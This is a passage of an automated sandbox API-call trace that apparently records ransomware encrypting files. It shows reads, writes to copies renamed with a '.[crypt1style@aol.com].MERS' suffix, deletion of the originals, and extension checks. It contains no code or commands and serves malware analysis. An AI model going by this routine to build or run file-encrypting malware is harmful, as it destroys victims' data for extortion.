liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.929] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0260.290] GetLastError () returned 0x0 [0260.290] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0260.322] WriteFile (in: hFile=0x388, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0260.323] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.324] WriteFile (in: hFile=0x388, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.324] SetEndOfFile (hFile=0x388) returned 1 [0260.324] CloseHandle (hObject=0x388) returned 1 [0260.324] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.324] SetEndOfFile (hFile=0x3a8) returned 1 [0260.330] CloseHandle (hObject=0x3a8) returned 1 [0260.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0260.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.332] lstrlenW (lpString=".doc") returned 4 [0260.332] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.332] lstrlenW (lpString=".docx") returned 5 [0260.332] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0260.332] lstrlenW (lpString=".pdf") returned 4 [0260.332] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.332] lstrlenW (lpString=".xls") returned 4 [0260.332] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.332] lstrlenW (lpString=".xlsx") returned 5 [0260.332] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0260.332] lstrlenW (lpString=".ppt") returned 4 [0260.332] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.332] lstrlenW (lpString=".zip") returned 4 [0260.332] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.332] lstrlenW (lpString=".rar") returned 4 [0260.332] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.332] lstrlenW (lpString=".bz2") returned 4 [0260.332] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.332] lstrlenW (lpString=".7z") returned 3 [0260.332] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.332] lstrlenW (lpString=".dbf") returned 4 [0260.332] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.333] lstrlenW (lpString=".1cd") returned 4 [0260.333] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.333] lstrlenW (lpString=".jpg") returned 4 [0260.333] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.333] lstrlenW (lpString=".doc") returned 4 [0260.333] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.333] lstrlenW (lpString=".docx") returned 5 [0260.333] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0260.333] lstrlenW (lpString=".pdf") returned 4 [0260.333] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.333] lstrlenW (lpString=".xls") returned 4 [0260.333] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.333] lstrlenW (lpString=".xlsx") returned 5 [0260.334] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0260.334] lstrlenW (lpString=".ppt") returned 4 [0260.334] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.334] lstrlenW (lpString=".zip") returned 4 [0260.334] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.334] lstrlenW (lpString=".rar") returned 4 [0260.334] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.334] lstrlenW (lpString=".bz2") returned 4 [0260.334] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.334] lstrlenW (lpString=".7z") returned 3 [0260.334] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.334] lstrlenW (lpString=".dbf") returned 4 [0260.334] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.334] lstrlenW (lpString=".1cd") returned 4 [0260.334] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0260.334] lstrlenW (lpString=".jpg") returned 4 [0260.334] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.334] lstrcmpiW (lpString1=".xsl", lpString2=".MERS") returned 1 [0260.334] lstrlenW (lpString="sql70.xsl") returned 9 [0260.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.341] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=32146) returned 1 [0260.341] CloseHandle (hObject=0x3a4) returned 1 [0260.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0260.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.341] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.341] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0260.341] GetLastError () returned 0x0 [0260.341] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x7d92, lpOverlapped=0x0) returned 1 [0260.352] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0260.353] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.353] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0260.353] SetEndOfFile (hFile=0x3a8) returned 1 [0260.353] CloseHandle (hObject=0x3a8) returned 1 [0260.353] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.353] SetEndOfFile (hFile=0x3a4) returned 1 [0260.356] CloseHandle (hObject=0x3a4) returned 1 [0260.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0260.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.356] lstrlenW (lpString=".doc") returned 4 [0260.356] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.356] lstrlenW (lpString=".docx") returned 5 [0260.356] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.356] lstrlenW (lpString=".pdf") returned 4 [0260.356] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.356] lstrlenW (lpString=".xls") returned 4 [0260.356] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.356] lstrlenW (lpString=".xlsx") returned 5 [0260.356] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.357] lstrlenW (lpString=".ppt") returned 4 [0260.357] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.357] lstrlenW (lpString=".zip") returned 4 [0260.357] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.357] lstrlenW (lpString=".rar") returned 4 [0260.357] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString=".bz2") returned 4 [0260.357] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString=".7z") returned 3 [0260.357] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.357] lstrlenW (lpString=".dbf") returned 4 [0260.357] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.357] lstrlenW (lpString=".1cd") returned 4 [0260.357] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.357] lstrlenW (lpString=".jpg") returned 4 [0260.357] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.357] lstrlenW (lpString=".doc") returned 4 [0260.357] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString=".docx") returned 5 [0260.357] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.357] lstrlenW (lpString=".pdf") returned 4 [0260.357] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.357] lstrlenW (lpString=".xls") returned 4 [0260.358] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.358] lstrlenW (lpString=".xlsx") returned 5 [0260.358] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.358] lstrlenW (lpString=".ppt") returned 4 [0260.358] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.358] lstrlenW (lpString=".zip") returned 4 [0260.358] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.358] lstrlenW (lpString=".rar") returned 4 [0260.358] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.358] lstrlenW (lpString=".bz2") returned 4 [0260.358] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.358] lstrlenW (lpString=".7z") returned 3 [0260.358] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.358] lstrlenW (lpString=".dbf") returned 4 [0260.358] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.358] lstrlenW (lpString=".1cd") returned 4 [0260.358] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0260.358] lstrlenW (lpString=".jpg") returned 4 [0260.358] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.358] lstrcmpiW (lpString1=".xsl", lpString2=".MERS") returned 1 [0260.358] lstrlenW (lpString="sql90.xsl") returned 9 [0260.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.360] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=39515) returned 1 [0260.360] CloseHandle (hObject=0x3a4) returned 1 [0260.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0260.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.361] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.361] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0260.361] GetLastError () returned 0x0 [0260.361] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0260.554] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0260.768] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.768] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0260.768] SetEndOfFile (hFile=0x3a8) returned 1 [0260.768] CloseHandle (hObject=0x3a8) returned 1 [0260.768] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.769] SetEndOfFile (hFile=0x3a4) returned 1 [0260.802] CloseHandle (hObject=0x3a4) returned 1 [0260.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0260.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.830] lstrlenW (lpString=".doc") returned 4 [0260.830] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.830] lstrlenW (lpString=".docx") returned 5 [0260.830] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.830] lstrlenW (lpString=".pdf") returned 4 [0260.830] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.830] lstrlenW (lpString=".xls") returned 4 [0260.830] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.830] lstrlenW (lpString=".xlsx") returned 5 [0260.830] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.830] lstrlenW (lpString=".ppt") returned 4 [0260.830] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.830] lstrlenW (lpString=".zip") returned 4 [0260.830] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.830] lstrlenW (lpString=".rar") returned 4 [0260.830] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.830] lstrlenW (lpString=".bz2") returned 4 [0260.830] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.830] lstrlenW (lpString=".7z") returned 3 [0260.830] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.830] lstrlenW (lpString=".dbf") returned 4 [0260.830] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.830] lstrlenW (lpString=".1cd") returned 4 [0260.830] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.831] lstrlenW (lpString=".jpg") returned 4 [0260.831] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.831] lstrlenW (lpString=".doc") returned 4 [0260.831] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString=".docx") returned 5 [0260.831] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.831] lstrlenW (lpString=".pdf") returned 4 [0260.831] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString=".xls") returned 4 [0260.831] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString=".xlsx") returned 5 [0260.831] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.831] lstrlenW (lpString=".ppt") returned 4 [0260.831] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.831] lstrlenW (lpString=".zip") returned 4 [0260.831] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.831] lstrlenW (lpString=".rar") returned 4 [0260.831] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString=".bz2") returned 4 [0260.831] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString=".7z") returned 3 [0260.831] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.831] lstrlenW (lpString=".dbf") returned 4 [0260.831] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.831] lstrlenW (lpString=".1cd") returned 4 [0260.832] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0260.832] lstrlenW (lpString=".jpg") returned 4 [0260.832] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.832] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0260.832] lstrlenW (lpString="AG00021_.GIF") returned 12 [0260.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0260.891] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=14873) returned 1 [0260.891] CloseHandle (hObject=0x2d8) returned 1 [0260.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0260.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0260.916] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, 